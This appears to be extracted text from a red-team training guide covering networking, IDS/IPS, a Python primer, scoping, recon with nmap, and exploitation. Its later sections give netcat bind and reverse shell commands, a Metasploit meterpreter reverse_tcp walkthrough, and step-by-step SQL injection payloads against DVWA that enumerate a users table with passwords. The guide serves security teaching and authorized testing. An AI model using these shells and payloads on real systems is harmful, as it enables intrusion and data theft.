Commonly used to test if an IP address is online
Client will send the Echo Request ICMP packet
Client will respond with Echo Reply if its available
The router will reply with Destination Unreachable if the IP is not alive
Command (Windows & Linux): ping IPADDRESS

Traceroute:
• Commonly used to test the path a packet is taking through a network
• Client will send an outdated ICMP Traceroute packet to its destination.
• This type of message will keep track of each hop It hits before it reaches the end
• Note that a missing IP or hostname normally indicates a firewall of some kind
• Command:
o Windows: tracert IPADDRESS
o Linux: traceroute IPADDRESS

IDS/IPS:
The IDS or Intrusion Detection System is a device that is used to identify possible attacks or
intrusions on a network or host. Uses Rules/Signature base or heuristics based detection’s. This
will notify an Admin when a security event occurs. There are 2 types of IDS systems, host based
and network based.
Host Based:
• Host based reside on the workstations and servers
• These help detect issues and attackers on the system itself
• Can look into memory, file system, network connections
• Example: Carbon Black
Network Based:
• This normally resides on a tap somewhere on the network
• Normally this sits on a highly traversed section of the network such as before or after a
router or firewall
• Its important to note that this should not be a pass through for traffic otherwise the
traffic will slow dramatically
• Example: Bro IDS
The IPS or Itrusion Prevention System is built upon an IDS. This will not just identify an attacker
but also block the connection from occuring. This will also alert the admin’s on any suspicious
activity.
Host Base:
• Host based reside on the workstations and servers
• These help detect issues and attackers on the system itself
• Can look into memory, file system, network connections
• This will actively block attacks as seen
• This is not nearly as common due to the use of AV’s

Network Based:
• This normally resides on a tap somewhere on the network
• Normally this sits on a highly traversed section of the network such as before or after a
router or firewall
• Its important to note that this should not be a pass through for traffic otherwise the
traffic will slow dramatically
• The impact here can be great if misconfigured
• The device needs to be tuned correctly as to not flag correct traffic as malicious
• This can take down a network if not handled properly
HA:
HA or High Availability is the processes of making sure a resource is available at all times. This is
commonly done by the use of load balancing multiple resources together. One good way to do
this is replication. You replicate data or a config over to another server so it is identical to the
running one. Then in the even of a failure to the main one the secondary can be used. This is
also useful for loading multiple replicated resources behind a VIP.

A VIP or Virtual IP is commonly used to resolve to multiple physical machine so that the clients
can always point to one single IP instead of the countless actually providing the server itself.
This allows for any failed systems to be taken out of the VIP configuration and the client will
never know this occurred.

Programming
In this section we will be going over programming and learning the language python. The
RedTeam Blueprint course will also cover a full Assembly course along with this one.

Compiler:
A compiler is an application that converts source code into machine code AKA binary code that
the target machine can understand. This machine code is then passed to the CPU when it runs.
This process is called compilation. There are 2 types of compilers, AOT and JIT.
AOT:
•
•
•
•

Ahead of Time compilation
Commonly used with C, Assembly, Pascal
Uses more memory and disk space but allows for a faster startup time on the machine it
was compiled for
Code compiled with AOT is designed to run on that specific platform

•
•
•
•

Just in Time compilation
Commonly used with Java, C#
This is used to compile the code for the platform on the fly as it is ran
Takes far more time to run compared to AOT

JIT:

Interpreters:
• Used for languages like python, ruby, perl, etc
• Performs preprocessing on the code and converts it to intermediate code
• Then passes this to the interpreter application to execute the instructions from top to
bottom on the machine

Linker:
A linker is used after a compiler to create the final executable or object file. A linker takes
compiled object files from the compiler and links them togeather to create a new executable,
library file or object file. There are 2 types of linking, static and dynamic.
Static:
• Copy’s all library routines required into the application
• More disk space and memory is required
• More portable
Dynamic:
• Grabs the memory addresses for required library’s and routines upon running the binary
• Uses less memory and less space
• Common issues around depending libraries changing or being replaced by an attacker
controlled one

Why Python:
Python is a widely used language in the engineering field as well as the Red Teaming sector.
This language allows for quick tool generation as well as its scale-ability. Most enterprise
networks will have some sort of scripting language installed to run their own tools. Commonly
this is python. This language also has easily understood source code.

Hello World:
The following block of code is common for a starting point in an application. When running a
python application with ‘Python file.py’ that file.py(can be any name) is provided a variable
__name__. This variable has a value of __main__ instide of it. This is done to let the source
code know that it was the first .py file called to start the process. We can see that main() is
what our function is called in the above example. This is how you call a function
if __name__ == '__main__':
main()
A function in pyhton is start with the keyword def followed by the name of the function. We
will go over this in more detail later in the course.
def main():
The final section of the code reside inside of the main function we created. This will simply take
a string of charactors inside of () using the keyword print. Print is part of the standard python
library and can be used without any external module being loaded. The result of print simply
prints the string onto the screen.
print('Hello World!')

Variables:
We will be using the same structure of source file from the first video to the last for the python
module.
In python there are a log of different types of variables. We are going to break down the most
commonly used ones. A variable is nothing more than a memory address location wrapped
around a name the programmer decides to give it. This data is safely stored on the Stack.
•
•
•

String
o A set of charecters: ‘this is a string!’
Integer
o A number: 12345
Float

•
•

o A decimal: 3.14
Boolean
o True or False: True
None
o This is a special type of variable and is commonly used to refer to nothing or not
set. This is also used when something happens the value of a variable is set to
None.

The print statement we use in this video is slightly different that what we used in the Hello
World Video. This uses something allied string formatting. This allows us to replace a spot in a
string with the result of a variable.
variable1 = 5
variable2 = 5
print('The result is: {0} + {1}'.format(variable1, variable2))
This will print the following:
‘The result is: 5 + 5’
The way this works is due to the {} brackets. There is a digit inside of it. In a computer the
machine starts counting at 0 not 1. So the replacement of the {} will start with the first
parameter passed inside of the .format(). We can see in the above example it is variable1 so {1}
would be the 2nd parameter, variable2.

If/Else:
The if and else statments are a common way to control your application as well as provide it
some logic to change its flow. An if statment checks to see if some condition you provide it is
true. If it is true it will run the code block inside of it and if its not it will continue to the next
code block after it.
if(condition):
print('This will run only if the condition is True')
print('This will run reguardless of the condition')
A condition can be any type of operation you want. For example if we want to check if a string
is in a variable:
name = 'Brandon'
if('Brandon' in name):
print('Brandon was found in variable name')
These conditions can be explicit as well. We can look for something to match a variable or even
2 variables match perfectly.
age = 26
name = 'Brandon'
if(age >= 26 and 'Brandon' == name):
print('Brandon is 26 or older!')
Above we showed 2 new options in the operators and conditions. We can join 2 or more
conditions with the ‘and’ and ‘or’ keywords. With and both considerations must be True. With
or only 1 of them needs to be True.
With integers we can use greater than, less than, greater than or equal too and less than or
equal too.
• >
• <
• >=
• <=

Loops:
Loops are the ability to rerun code over a specific amount of iterations. This can be anything
from looping over characters in a string, through elements in an array or list. We can even can it
loop indefinitely until we decide to stop it. Loops are very powerful in programming but can
also cause a lot of issues if not handled properly.

We will be going over 2 types of loops, for loops and while loops. A for loop uses a structure like
the following.
name = 'Brandon'
for x in name:
print(x)
The above will loop over every character in the variable name and print it to the screen. This
works because each iteration of the loop will reset the variable x to be the next character in the
string. For a dictionary or list it will loop over each set of data in each. We will go over this in
more detail on those modules.
In the above example we only looped through the characters in a string. We can use the range()
function that’s built into python to allow us to run code over a set amount of iterations.
for x in range(10):
print(x)
The above will print x each time it loops. Since machines count starting at 0 that is what will be
printed out first then 1,2,3, etc. This works due to the range() function. It will set the loop to run
until x >10.
The finally loop we will go over is the while loop. This loop will continue based on a condition.
This condition can be the same as the if statements.
while(condition):
print('Perform this code until condition is met')
If you want to break out of the loop early you can use the keyword break. This will end the loop
and continue running the code after it.

Dictionary’s:
The Dictionary is a useful data structure in python. This is similar to a hash map in other
languages. A dict or Dictionary takes a key and a value for each of its set of data. The key is then
used to access that specific data’s value.
new_dict = {
'Name': 'Brandon',
'Age': 26
}
We can see from the above that the key’s are ‘Name’ and ‘Age’ and they have their
corresponding values. A dict can be as big as you want with respects to how much memory your
machine has.
Using the same dict we created above how do we access the data inside of a dict? We can
access it using the key’s name
print(new_dict['Name'])
The above will print ‘Brandon’ as it is the value of the key ‘Name’. We can overwrite the value
of a key using the same approach.
new_dict['Name'] = 'John'
This now sets the value of the key ‘Name’ to be ‘John’. Its important to note that in a dict the
key’s mut all be unique. You can have duplicate values but not duplicate keys.
If we want to add to a dict its the same process as an overwrite. We just provide it a new key
and value. On the reverse if we want to remove a key and its value we use the pop function and
pass it the key’s name as a value.
# Adding to a dict
new_dict['New_Key'] = 'New Value!'
# Removing from a dict
new_dict.pop('New_Key')

The above will add and then remove the same key from the dict we generated. Now we may
want to loop through the data instead of accessing a single one directly. There are 3 ways to
loop through this data. You can either loop through all of the keys and then in turn access their
values, loop through the values only or finally loop through the keys and values at the same
time.
Loop through and get keys and their values.
for key in new_dict:
print('Key: {0}'.format(key))
print('Accessing Value by key name: {0}'.format(new_dict['key']))
Loop through only the values.
for value in new_dict.values():
print('Values: {0}'.format(value))
Loop through the keys and values at the same time.
This is the most common approach.
for key, value in new_dict.items():
print('Key: {0}\nValue: {1}'.format(key, vlaue))

Modules:
Python is a module based language. A module is a set of python classes that perform a specific
function. These can do anything from web requests, handling memory and working with other
programming languages such as C. TO use a module you will need to import it. At the top of a
python class you can use the import command.
import urllib2
The above will import the urllib2 module that is used to interact with web application. When
using a module its important to look up how the module works in its documentation. Every
module is not the same as the last. The developer may have used a different way to implement
it. Because of this documentation is key.

Configurations:
Understanding and working with configs is vital to a Red Teamer. Not just for the coding aspect
but from the attackers aspect as well. Understanding what is in a configuration file is very
important It can provide you with nothing or full access to that or another machine!
Working with configuration files in python is actually pretty simple. You first must import the
module ConfigParser. This is a powerful and common config parser used by python.
import ConfigParser
Now that we have this imported we must create a new config parser object for use to use!
config = ConfigParser()
Notice this does not take any parameters by default. We then must add in the config file we
want to read from. However, we do not yet have a configuration file. So in the same directory
as our source code we will add one.
[general]
Name: Brandon
Age: 26
Company: RedTeam Nation
[secret]
secretid = 12345
This is a common configuration file layout. The [] represent a section of the config file. In our
case a general and secret section. Everything under a [] until it hits another [] is considered the
same section. If we only have 1 set of [] we only have 1 section. Each config option has a key
and value pair. KEY: VALUE. This is the required strucutre for ConfigParser to be able to use.
Now we must read the file into the config parser.
config.read('config.ini')
We have now loaded the config file into the parser. We can access it based on sections and the
key used. To list all of the sections:

config.sections()
This will list general and secret onto the screen. Next we will want to access a specific config
option in the file. We will need the section name as well as the key.
config.get('general', 'Name')
Above will go to section ‘general’ and look for the key ‘Name’, if found it will return the value of
it as a result.

Logging:

Like working with config files logging is an important aspect for a Red Teamer to learn.
Understanding how logging works and what can be logged helps a Red Teamer mover laterally
on a network.
To work with logging is very similar to working with a config file. First we must import the
module we will use. Python comes with a nice logging module called logging that we can use.
import logging
With this we can first set our logger to tell it what file we want to log to.
logging.basicConfig(filename='aplication.log')
This will set the instance of logger to sets its STD in , out and error to this log file. Notice we
have not yet created an object. This is because the object is created upon import when the
source file is ran! We need to grab a reference to it before we want to use it.
logger = logging.getLogger()
This now provides us with our object so we can now log to this file and change its settings as we
want. What’s important to understand about logging is that there are log levels.
•
•

ERROR
CRITICAL

•
•

INFO
DEBUG

The order of these are important. Logging only works up. If we have a log level of INFO anything
logged in debug will not be actually logged. If we set the log level to DEBUG it will log
everything under it. Error and Critical are special as they will always be logged regardless of log
level. We can change the log level as we want.
logger.setLevel(logging.INFO)
We can set this to any level we want. If we set this to Error then only error messages will be
shown, no info or debug. How can we actually log to the file?
logger.info('This is info')
logger.critical('This is critical')
logger.error('This is an error')
logger.debug('This is debug')

Error Handling:
How you handle errors in your code is an important skill to develop when writing any bit of bit.
If you suppress all errors and never let the end user know they will not know anything
happened when something goes wrong. This can leave a false sense of security when there
really is none. Understanding how to handle use cases and when and when not to handle errors
is something that comes with time and working through issues when designing code.
In python there is a common structure for handling errors. This is a try except.
try:
Code to try goes here
except Exception as e:
print(e)
What you notice here is that we surrounded code with a try except code block. The keyword
Exception is a class in python. All exceptions or errors in python will inherit from this base class.
When using Exception, you will catch all errors. In our case we are printing the error that as
assigned to the variable e to the screen. We can perform any logic we want after this!

If we are noticing a specific error and we want to catch only that error to perform some sort of
logic we only need to change the Exception section of the code block to be the new Exception
type.
try:
Code to try goes here
except KeyError as e:
print(e)
The above will only catch an error when it is of type KeyError. A KeyError is when you attempt
to access a key from the dict that does not exist. There are a large amount of Error types.
Handles the errors you want to handle. Try not to catch all errors as we did with our first
exmaple unless there is a specific need for it such as sending an email when this occurs.

Threading:
When working with building applications there are times where a single thread just wont do it.
Such as with a port scan, you are going to want to scan more than 1 host at a time otherwise a
netowrk of 15K hosts will take forever! This is where threading comes into play. Python
provides a nice module for this called threading. To use this we must import it. In most cases
we just want the Thread class inside of it so we just import that.
from threading import Thread
Once we have it imported we will create a basic function that we will tell our threads to run.
def run(thread_id):
print('Thread ID {0} starting'.format(thread_id))
time.sleep(5)
print('Thread ID {0} finishing'.format(thread_id))
This function will take the ID of our thread that we provide it and print that the thread is
starting then wait 5 seconds before printing out that it is finished. The time.sleep function is
located in the time module. Import that if you wish to use it.

Now that we have our function we want to have the threads run and what parameter we will
provide it we can start creating the threads themselves in our main function. Note that the
function above is not indended under main but above it!
for i in range(5):
thread = Thread(target=run, args=(i,))
thread.start()
In this section of code we will want to create 5 threads so we setup a for loop to run over the
code 5 times. Next we create a new Thread object with the target set to our function name.
Note that it does not need the () at the end of run! Next is the args or arguments that need to
be passed to the function. In this case we are passing i as our ID. Note that args takes only a
tuple! if you do not need any args use () and if you only have 1 you must add ‘,’ at the end of it
as shown above! If there are more than 1 you do not need to add ‘, at the end.
When we run this we will see the main application wait until the 5 seconds is up. This is becuase
the parent thread is waiting to close. Children threads which is what we are creating here must
complete before the parent can close correctly. If we added code after our for loop we would
see it should still run this code like nothing happened!

Ethical Hacking
This section will handle everything in the range of Scope Identification, Reconnaissance and
Exploitation. This is not a complete list that is in the RedTeam Blueprint but only a fraction as
the PDF itself would be over 1000 pages long easy. There are some topics that videos only will
be able to teach. The topics covered in this section can be considered complicated and
advanced. If you do not understand a topic, please make sure to Google search is as there is a
chance that there is another tutorial fully on this.
What’s important to take away from here is that knowing something exists makes it much
easier to figure out than to not know it exists. This is what makes the difference between a
beginner and intermediate Ethical Hacker.

Scope Identification:
Goal & Scope:
Goal:
The Goal Identification is the process of identifying the outcome of a specific test or
assessment. There may be sub goals inside of each goal that needs to be identified as well. This
may include any extra services that are requested to be tested as well. In a Scoping Document
the goals are usually only 1 – 2 sentences per goal.
Common Types of Goals:
• Segmentation Testing
• Single Service Testing
• Entire Network Testing
• Perimeter Testing
• Corp Testing
• DEV Testing

Scope:
The Scope Identification process is used to identify what hosts, services and networks will be
targeted. During this process you will also identify what will not be touched that may reside
inside of the original scope. You need to identify any limits that are put in place as well.
Understanding why we perform Goal & Scope Identification is important. We need to allow for
any other teams or Executives to view our goals and identify if we met them or not. This also
allows service owners to see what services may be hindered during the process.
Stability Considerations:
We need to understand what is stable in our test. Is a service, host or network fragile? Can be it
taken down easily? How does it react to different attacks? These are all questions we must get
the answer to before we can begin the assessment. We do not want to bring down a
production service because we forgot to test things out before hand.
Common things we should look out for:
• Sensitive Services
• Exploits with Memory Corruption
• Attacker Traffic on network devices, EX Port Scans
• Unstable Exploits
• Non HA systems

WE MUST HAVE A PAPER TRAIL!!!! This is a CYA or Cover Your Ass situation! Red Team
Assessments are a sensitive task and you need to have all documentation in place before
anything begins. Keep track of all emails, any communications, approvals, etc for the
assessment. Always double check with your manager! The last thing you want is to cause a
Resume Generating Event or RGE for yourself!

Briefing Stake Holders:
Who are Stake Holders:
• Any individual with the responsibility of a service, host or network you will be testing
• Also known as Service Owners
• Notify the Network Operations Team as well as Blue Team if no Service Owner can be
found
When do we notify:
• We first notify to make the stake holders aware of the assessment that will occur
• We will notify upon the start of an assessment and end
• Upon completion of the Assessment Document provide this to the Stake Holders

Reconnaissance:
What is Recon:
Recon is the stage at which you are going to gather intelligence about the target. This is a very
important step in any assessment. Without information you will not know where and how to
attack. When going through this process its important to note down everything you find, no
matter how small as it may be needed later.
There are two types of recon, active and passive. Active recon is where you will actively be
touching the target and can be seen as an attacker. This includes port scans, enumerating
directories, etc. While passive is the stage where you do not make any foot print to the target,
for example using Google to search around the site or looking at Job postings.

Passive Recon – Google:
Using Google search query can provide a lot of information. Google will crawl almost every web
page on the planet that is publicly facing and store it. Google also has special keywords that can
be used to isolate what you are looking for and even the file type you want to be shown.
Exploit-DB has a GHD or Google Hacking Database that has an extensive list of search querys.
Look through these and see what keywords are being used to get a better idea on how you can
use them to find out more information about the target.

Passive Recon – Job Posting:
Job Postings can provide a large amount of information about what a company uses and the
environment they have. Examples of what you can find is what services are running,
architecture layouts, needs for a specific role and much much more.
You can also take this a step further if it is in scope and submit a fake resume that matches
perfectly to the role and get on the phone with a recruiter. This can move into a talk with the
hiring manager who can provide some more specific information that may not be publically
disclosed. Using this information you can build a larger attack surface for the assessment.

Passive Recon – Shodan:
Shodan is a very useful search engine. This engine does require a valid account before you can
use most of its features. Feel free to create an account on the site. There is no fee to use most
of the features available.
Shodan allows you to perform a mix of banner grabbing, port scanning(limited) and google
index searches all at ones.

Active Recon – Port Scanning:
Common Types of Scans
TCP Connect: This is the most common and basic type of scan where Nmap will attempt to
make a full 3 way handshake to connect to the target host. This scan is easily detectable
compared to other types of scans. There is an option however to speed this up with the -t flag.
This flag will take into account all sockets available when performing the scan.
$ > nmap -sT 192.168.1.3
Fragmentation: This type of scan will split up the packets into smaller fragmented ones. This
makes the detection of the scan much more difficult. This type of scan is used in conjunction of
others, connect/FIN/SYN/XMAS/etc with the -f flag.
$ > nmap -sT -f 192.168.1.3
FIN Scan: This type of scan send a FIN packet to the target host. If the port is open the packet is
ignored since its the closing of a session. When the port is closed it will return a RST packet. This
is able to pass some filters. For Linux hosts it will work this way, however on Windows a RST is
returned in both cases.
$ > nmap -sF 192.168.1.3
SYN Scan: The SYN scan is similar to that of the connect but does not complete the 3 way
handshake. This is often called the half-open scan as it will sent the SYN to the target and wait
for a response, one it has it there will be no more communication. If Nmap gets back a SYN/ACK
the port is open, if it gets back a RST the port is closed.
$ > nmap -sS 192.168.1.3
UDP Scan: Nmap does not only scan TCP ports but UDP as well.
$ > nmap -sU 192.168.1.3
XMAS Scan: This scan works in the same was as the connect in terms of how the ports are
found open/closed. This does will set the bits for PSH,FIN and URG in the pack. This can

sometimes bypass filter rules and firewalls. The reason is called XMAS is due to the amount of
flags being set causing the packet to “light up like a Christmas tree”.
$ > nmap -sX 192.168.1.3
Working with Services
There are a few ways to find out what is running on a service as well as what OS the host is
running. I am going to go over the most common of these.
The common technique Nmap uses to grab service information is called Banner Grabbing.
Banner Grabbing is when a client connects to an open service and either sends data to get a
response or waits for a response. This response tends to be the name of the service and
possibly the version number.
$ > nmap -sV 192.168.1.3
Nmap can also attempt to guess the type of OS based on the response/windowing size/etc of
the packets during the scan. This can be helpful in targeting your next phase of the attack later
in the Penetration Test. Don’t take the guess as 100% correct as a SysAdmin can change values
in a Windows registry for example to make Nmap think it is a Linux host.
$ > nmap -O 192.168.1.3
There is a must shorter flag to allow for the above at the same time. The -A flag will run a
standard Service Versioning Banner Grab as well as OS detection.
$ > nmap -A 192.168.1.3

Saving Scans
Nmap provides output formats for most uses. Some of these are XML/standard/Grep
compatible.

Standard: This is a very standard output. It is similar to the output in the terminal as the scan is
running but cleaned up a bit. This tends to be easily manageable in terms of readability and
data extraction.
$ > nmap -sT -A 192.168.1.3 -oN scan.nmap
XML: This is the most common I have ran across and use with the standard format.
$ > nmap -sT -A 192.168.1.3 -oX scan.xml
Grep: Nmap will reorganize all of the information to allow for the greatest usability for the
output to be used with grep. This is helpful when scripting around Nmap and needed to quickly
and efficiently parse the data.
$ > nmap -sT -A 192.168.1.3 -oG scan.gnmap
ALL: This particular flag will take a base filename such as scan (without the .xml/.scan/etc) and
produce all 3 outputs above. Nmap will create scan.nmap, scan.xml and scan.gnmap using the
command below.
$ > nmap -sT -A 192.168.1.3 -oA scan

NMAP Scripting Engine
Nmap’s Scripting Engine is very powerful and can provide a lot of flexibility to the user. Nmap
scripts are written in LUA and as this is not a LUA tutorial I wont be going over how to create
your own. However, NMAP has a great tutorial to get you started.
There are a lot of scripts that come packaged with Nmap. In Kali these are located in
/usr/share/nmap/scripts/. If you another distro you can use the locate command “locate *.nse”
since all of these scripts end with the .nse extension. Since there are a large number of these
scripts I will cover a few that I have used during some Penetration Tests. Some scripts require
arguments to be passed, this can be done with –script-args flag and all args after the 1st are
comma separated.

SMB: SMB tends to have a few vulnerabilities associated with it and in turn we have an Nmap
script that will look for a few of the basics and advise you if the host is vulnerable.
$ > nmap -p445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.3
DNS: This script will attempt to find valid A records in an effort to identify sub-domains.
$ > nmap -p80 --script=dns-brute 192.168.1.3
SSL: This particular script was created in response to HeartBleed and will check the host for it.
$ > nmap -p443 --script=ssl-heartbleed 192.168.1.3
Running Multiple Scripts: You can utilize the * to run multiple scripts. this is useful when
stealth is not a concern.
$ > nmap -p80 --script=http* 192.168.1.3

Personal Uses
There are a few examples I would like to share that I personally use. This first one is an HTTP
scan with the NSE engine to cover most bases. I usually run Nikto after this scan for more
detailed information.
$ > nmap -sV -Pn -vv -p80 --script=http-vhosts,http-userdir-enum,\
http-apache-negotiation,http-backup-finder,http-config-backup,\
http-methods,http-passwd,http-robots.txt -oN scan.nmap 192.168.1.3
My next example is one I normally run on every host when stealth is of no concern. The scan
below will take a while to complete but it is very thorough and provides great results.
TCP:
$ > nmap -vv -Pn -A -sC -sS -T 4 -p- -oN scan.nmap -oX scan.xml 192.168.1.3
UDP:
$ > nmap -vv -Pn -A -sC -sU -T 4 --top-ports 200 -oN scan.nmap -oX scan.xml \
192.168.1.3

Active Recon – Nikto:
Nikto is a powerful web scanning tool. This can provide a lot of information about any web
service. It looks for things such as default directories and pages, HTTP Methods, version of the
service or micro services, exploits for these services, and much more. This is a good starting
point to any web service for an assessment.

Active Recon – Netcat:
Working With NC:
NC or NetCat is a simple but powerful tool. You can use this for everything from connected to a
service directly to spawning a reverse shell on another machine! Its always important to try to
connect to an unknown port directly and send it some junk data or common commands. You
never know what port may be on the other end!
Making a Chat Socket:
Server - nc -lvp 4444
Client - nc localhost 4444

Bind Shell:
Server - nc -lvp 4444 -e /bin/bash
client - nc localhost 4444

Reverse Shell:
Server - nc localhost 4444 -e /bin/bash
Client - nc -lvp 4444

Active Recon – Banner Grabbing:
g Banner Grabbing is a common tecqnuiqe that is used to identify what is running on a port.
Most of the time you will find yourself using nc for this type of testing. Once you connect to a
port it will do 1 of 2 things, send nothing or send something right away. If it sends something
right away you can get a much better idea on what its running. In other instances where you do
not get something right away you may need to send some data to it.
What you send depends on what you think the service may be. There are always a few rules
you should go by when testing a port.
Send a few random charectors
Hit enter a few times
Send a long list of charectors
Send the words, help, login, info, etc
Check for HTTP Service: “GET / HTTP/1.1”
In most cases an application will respond with one of these. In most cases you want to try a mix
of all of them at once as well. If the application does not respond to any of this it may be best to
look online for anything around the OS and that port and if nothing is found move onto the next
port. When working on assessments you have a set time limit for completing it. You do not
want to spend hours down a rabbit hole.

Exploitation:
Finding Exploits:
We will go over a basic example of finding an exploit by hand and actually attacking a host! We
will not be using metasploit in this example as not everything is in metasploit to begin with but
also its important to understand how things work and how to do it manually.
When looking for exploits on a host its important to keep backups of working exploits you
found and tested. This will save you A LOT of time in the future as well as on a Red Teams as
they will have their own tested repositories for this.
First we use nmap to take a look at the ports open on the host 192.168.1.20. We can see that
there are a few ports open but this also seems to have SSH open. Note that this is a fictional
host for testing.
nmap 192.168.1.20
We then use nc to take a look at the SSH port. We can see it provides a banner for us to look
up. Based on the banner it looks like an old version of SysaxSSH.
nc 192.168.1.20 22
SSH-2.0-SysaxSSH_1.0
With this we take a look at exploit db and see what we come up with. We eventually find a RCE
exploit ready to go for later versions of this software. It may work for the lower version as well.
https://www.exploit-db.com/exploits/18535

With this we download the code and run it with python to make sure everything works and
there are no errors. Perfect. Now we want to take a look at the code itself to see what its doing.

We can see after looking at this a bit that there is a comment above the shellcode showing the
payload that was created. We can see they are using a bind shell here. We can work with that.
So we fire this off with the correct target IP and port 22. We can see it just hangs on the
application.

Since this is a bind port we need to connect to the port specified in the comment AKA port
4444. Once we do this we can see we now have shell access to the machine.

Metasploit:
Metasploit is an open source exploitation framework that can be used in almost all stages of an
assessment. Metasploit is broken up into modules and payloads.
There are mutliple sets of modules exploits, recon, etc. Each of these are used in the same way
and follow a similar flow. Metasploit can also be used to keep track of stolen credentials,
sessions connected to exploited hosts, piviot through another host and much much more.
Metasploit is installed on Kali by default. You can open up any terminal and use the command
“msfconsole” to load it up for use. Metasploit also comes with other tools that aid in the exploit
development process.
Understanding you exploit options are very important when working with Metasploit. Keep in
mind that you should have done the recon by this point and should have an idea on what the
host is vulnerable to!
We can list all of the exploits available in Metasploit but this will be a difficult list to sort
through. Instead we will want to search for something specific.
# To show all options of exploits
show exploits
# To search for a specific exploit
search name_of_exploit
When issuing a search or listing all exploits you will see a few sections being shown. You will see
the following:
Path of exploit, Date added, Rating, Description
The path of the exploit will be needed for us to tell metasploit that’s the one we want. You will
find that this path format is common for payloads as well. The date it was added can be
important depending on the issue. The rating or reliability is very important. This provides you
an idea of not only how reliable the exploit is but also how stable it is! The final section is the
description. Sometimes the path does not provide a good description of what the exploit is.

Once we have found our exploit, in this case the one for Sysax SSH Username Buffer Overflow
we want to tell Metasploit to use this and set it active. To do this we use the command “use”
followed by the path.
use exploit/windows/ssh/sysax_ssh_username

The above will be added to the command line in red to identify it has been enabled. Once you
have an or any module set we need to see what options are required to be provide AKA
arguments for the exploit. Each exploit can have any number of requirements based on what it
will be doing. To see what options are needed use the command “show options”. This will
provide you a list of module options and the Exploit Target section.
We can see that RHOST is empty but RPORT is set. If this was not running on port 22 we would
need to change this. Also you can see there is a required column. Anything with yes as required
must be supplied or changed before it can be ran!
Another tip to notice. When we look at the Exploit Target in this case we see its designed to
work only with 2 Windows versions. This is important! If the OS we are targeting is not one of
these it as a high chance of failing. In some exploits there may be multiple lines here and you
must set the exploit target to match the ID associated to the target you are attacking.
To set RHOST or any variable in the options menu we want to use the keyword “set”. Set is
followed by the name of the variable to change and then the value it needs to be set to.

set RHOST 192168.1.20
If we use “show options” again we cna now see that RHOST has been set correctly to our target.
Now that we have our exploit set and our RHOST variable set we need to tell Metasploit what
payload we want to execute. Metasploit comes with a LARGE set of payloads. Everything from
bind/reverse shells to injecting VNC to get a remote desktop session and even having it open a
pop up saying “You Got Pwned!”. You can see the entire list of payloads with the “show
payloads” command. In our case we will use a meterpreter reverse TCP payload. To use this we
set the payload variable just like we did with RHOST.
set payload windows/meterpreter/reverse_tcp
Now with this set we can use “show options” once again to see if there are any requirements
for the payload. Indeed there is. A reverse shell requires a port and the local host to connect
back to AKA LHOST & LPORT. We need to set these to our machines IP that Metasploit is
running on.
set LHOST 192.168.1.23
There is another variable here called EXITFUNC. This variable is important to the stability of the
exploit. This will change how the exploit acts to the service once it finished running the payload.
In most cases you can leave this as “thread” as it is useful in most cases. There are some
instances where changing this to something else may be appropriate.

Now that we have everything in place we can can launch the exploit. This can be done by
sending the command “exploit” or “run”. If any errors occur, you can see them here. If you see
a Meterpreter Session was opened, then we should have gotten access to the system!
Sometimes depending on the exploit it will just hang after this message. If thats the case use
CTRL+C to get out of it and interact with the session directly.
# List all sessions
sessions -l
# To interact with a specific session
session -i #_of_session
Once we interact with this new session we are now inside of the Meterpreter payload that is
running on the system!

OWASP Top 10:
OWASP or Open Web Application Security Project maintains and revises the Top 10 list of web
vulnerabilities every few years or so. This top 10 is not all inclusive but does provide a good
start when looking at vulnerabilities for a web application. Its important to note that the
OWASP top 10 is commonly an interview question when looking at a Red Team or Security
Position in general!
•
•
•
•
•
•
•
•
•
•

Injection
Broken Authentication and Session Management
XSS
Insecure Direct Object Reference
Security MisConfigurations
Sensitive Data Exposure
Missing Function Level Access Control
CSRF
Using Vulnerable Components
Unvalidated Redirects and Forwards

SQL Injection:

First we see the following URL contains an ID field.
http://192.168.1.22/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit#
This is pretty common for SQL Injection.
If we change this number we can see we get different information on the user tied to that id. If
we place a 1ʹ there instead we get an error stating the syntax is incorrect. This means we are
vulnerable to SQL injection!
http://192.168.1.22/DVWA/vulnerabilities/sqli/?id=1%27&Submit=Submit#

We know nothing about the table structure or how many columns, etc there are. Luckily we can
enumerate these things easily!
We can use the following string in place of the ID.
1' order by 1 #
To see why this works we must look at the vulnerability itself.
userinput = "1' order by 1 #"
query = "Select firstname,surname from table_name where id='{0}'".format(userInput)
So when this is together the final query looks like this.
Select firstname,surname from table_name where id='1' order by 1 #'

The first section 1ʹ is used to finish the first quote setting the id. Then we use order by to check
how many columns are present. If we order by a number of columns that is more than what we
have we get an error.

Also the # at the end is to comment out the rest of the query so in this case we ignore the
original ‘ that was meant for the id section we overwrote.
If we keep increasing 1 -> 2 ->3 until we get this error:
Unknown column '3' in 'order clause'

In my case it errors on 3 so i must only have 2 columns.
We can now use this to have SQL show us different information in each column available to
show. We can do this with the SQL statement union.

We can do this with the SQL statement union.
If we do:
1' union select database(), null #
we ignore the ID as normal then use the first column section to show us the DB and null as the
next as its not needed.
Result:
ID: 1' union select database(),null #
First name: admin
Surname: admin
ID: 1' union select database(),null #
First name: dvwa
Surname:
We can see now that dvwa is in our first column and in turn our DB name!
Lets look further and find out the table names that are present in the dvwa DB. We can do this
by using information_schema.tables and the variable table_name then using table_schema to
tell it what db we want:
1' union select table_name, null from information_schema.tables where
table_schema='dvwa' #
Results:
ID: 1' union select table_name, null from information_schema.tables where
table_schema='dvwa' #

First name: admin
Surname: admin
ID: 1' union select table_name, null from information_schema.tables where
table_schema='dvwa' #
First name: guestbook
Surname:
ID: 1' union select table_name, null from information_schema.tables where
table_schema='dvwa' #
First name: users
Surname:

We see we have 2 tables, users and guestbook. users looks to be the most interesting so we will
take a look at that. We can use a similar approach to finding the column names for the table
like we did with finding the DBs.
1' union select column_name, null from information_schema.columns where
table_name='users' #
Results:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: admin

Surname: admin
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: user_id
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: first_name
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: last_name
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: user
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: password
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: avatar
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: last_login
Surname:

